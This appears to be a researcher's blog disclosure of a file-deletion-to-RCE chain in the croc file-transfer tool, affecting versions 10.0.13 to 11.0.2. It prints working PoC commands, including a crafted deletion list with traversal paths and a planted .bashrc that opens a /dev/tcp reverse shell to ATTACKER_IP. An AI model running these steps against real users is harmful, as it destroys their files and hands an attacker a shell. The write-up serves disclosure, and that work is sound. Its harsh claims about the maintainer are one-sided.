3l0h1m.s3c:     file format elf64-x86-64

 Disassembly of section .text:

 0000000000401000 <_start>:
   401000:   48 89 e5          mov    rbp, rsp
   401003:   bf 01 00 00 00    mov    edi, 0x1        ; web
   401008:   be 02 00 00 00    mov    esi, 0x2        ; mobile
   40100d:   ba 03 00 00 00    mov    edx, 0x3        ; active directory
   401012:   b9 04 00 00 00    mov    ecx, 0x4        ; binary exploitation
   401017:   41 b8 05 00 00 00 mov    r8d, 0x5        ; exploit dev
   40101d:   41 b9 06 00 00 00 mov    r9d, 0x6        ; low level
   401023:   e8 00 00 00 00    call   <blog_main>

CrocTears: or How I Found an Arbitrary File Deletion That Can Be Escalated to RCE in croc

2026-08-12 | author: elohim | tags: croc, go, file-deletion, path-traversal, rce, cve, 0day
┌── /img/croc-header.webp ──
fig.0 — submissive croc

The fix landed in under an hour (PR #1232), but that was a silent fix. The commit carried no description, no security note, and no advisory — for a vulnerability that turned out to be a two-year-old remote-code-execution chain. The situation was made worse by the maintainer's subsequent handling of the disclosure. The maintainer refused to request a CVE ID and refused to give me credit for discovering and reporting the vulnerability. After several email exchanges, I was ultimately told that I should have created a PR myself. That is not an appropriate approach for a security vulnerability: a PR is public by design and would have disclosed the vulnerability before there was an appropriate coordinated disclosure process in place. Taken together, this shows a serious lack of security-disclosure hygiene and transparency toward users and security researchers. A vulnerability of this age and severity should be communicated, not quietly buried in a diff. I want to keep this focused on the technical write-up, but I have a lot more to say about the maintainer of croc. Let's just say that he lacks maturity, transparency, and honesty.

|=—[ TL;DR ]

croc, the end-to-end-encrypted file-transfer tool, trusted a predictable filename in its working directory as an internal “delete these” list. A malicious sender could send a file with that name with arbitrary file paths as its content, causing the receiver to delete attacker-chosen files — absolute paths and ../ traversal both work. When the victim receives into their home directory, this can be chained to remote code execution by deleting and then sending files like .bashrc.

Affected:    croc 10.0.13 – 11.0.2
Fixed in:    11.0.3  (commit c0d51f0, PR #1232)
CVSS 3.1:    AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H  ->  8.1 (High)

|=—[ Background Knowledge ]

croc lets two machines transfer files through a relay.

┌── /img/croc-demo.gif ──
fig.1 — croc in action: sender on the left, receiver on the right

The detail that matters: received files land in the CWD, and the sender fully controls their names and contents.

|=—[ The Bug: a magic filename in your working directory ]

To clean up temporary files, croc kept an on-disk list and deleted everything in it on exit. In src/utils/utils.go:

const crocRemovalFile = "croc-marked-files.txt"

func RemoveMarkedFiles() (err error) {
    f, err := os.Open(crocRemovalFile)   // fixed, RELATIVE path -> read from CWD
    ...
    for scanner.Scan() {
        fname := scanner.Text()
        err = os.Remove(fname)           // no validation, no CWD confinement
    }
    ...
}

RemoveMarkedFiles() runs on normal exit (main.go:45) and on Ctrl-C (main.go:51). It reads croc-marked-files.txt from the current directory and calls os.Remove() on every line, with no path validation and no confinement, so absolute and relative paths both delete.

Hence, an attacker can send a file named croc-marked-files.txt that contains file paths as its content. Once the victim receives it, those files get automatically deleted.

|=—[ PoC #1: Arbitrary File Deletion ]

Attacker crafts the list and sends it:

mkdir -p /tmp/attacker && cd /tmp/attacker
printf 'secret.txt\n../victim-sibling.txt\n/tmp/absolute-target.txt\n' > croc-marked-files.txt
croc send croc-marked-files.txt

Victim receives it into a directory with files they care about:

mkdir -p /tmp/victim && cd /tmp/victim
echo A > secret.txt
echo B > /tmp/victim-sibling.txt     # reached via ../
echo C > /tmp/absolute-target.txt    # absolute
CROC_SECRET=<code> croc --yes

On completion, all three targets are deleted.

|=—[ PoC #2: Escalating to RCE ]

Deletion alone is destructive, but it also removes the one thing standing between an attacker and code execution: the overwrite prompt.

croc won’t silently overwrite an existing file. But if we delete the target first, the follow-up write lands with no prompt. Targeting a shell init file (e.g. .bashrc) leads to code execution.

Transfer 1 — delete ~/.bashrc:

# attacker
printf '.bashrc\n' > croc-marked-files.txt
croc send croc-marked-files.txt

# victim (in $HOME)
CROC_SECRET=<code1> croc --yes    # ~/.bashrc deleted on exit

Transfer 2 — plant a malicious .bashrc:

# attacker
cat > .bashrc <<'EOF'
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
croc send .bashrc

# victim (in $HOME)
CROC_SECRET=<code2> croc --yes    # no overwrite prompt (file was deleted)

Execution: on the victim’s next interactive shell / SSH login, ~/.bashrc is sourced and the payload runs as the victim.

Screenshots

┌── /img/croc-01-delete-bashrc.png ──
fig.2 — attacker deletes .bashrc
┌── /img/croc-02-plant-bashrc.png ──
fig.3 — attacker sends new .bashrc
┌── /img/croc-03-delivery.png ──
fig.4 — victim gets its .bashrc file replaced
┌── /img/croc-04-execution.png ──
fig.5 — next time the victim opens a shell, the attacker gets one too :D

The victim must run croc from $HOME so that its .bashrc is the one replaced — received writes are confined to the working-directory subtree, but the delete is not confined and accepts absolute and ../ paths. Two transfers must be accepted: silent under --yes, otherwise the filenames appear in the accept prompt.

|=—[ Vulnerability Classes ]

|=—[ Disclosure Timeline ]

2026-08-10  02:07:00 GMT+2   reported via GitHub Security Advisory
2026-08-10  02:53:00 GMT+2   fix committed (c0d51f0)
2026-08-10  02:55:57 GMT+2   v11.0.3 published
later                        CVE requested from MITRE

|=—[ Takeaway ]

|=—[ References ]

Found by Anas SOUIRI (@0x1nf0). Update to croc 11.0.3 or later.

originally published on medium
- - - EOF - - -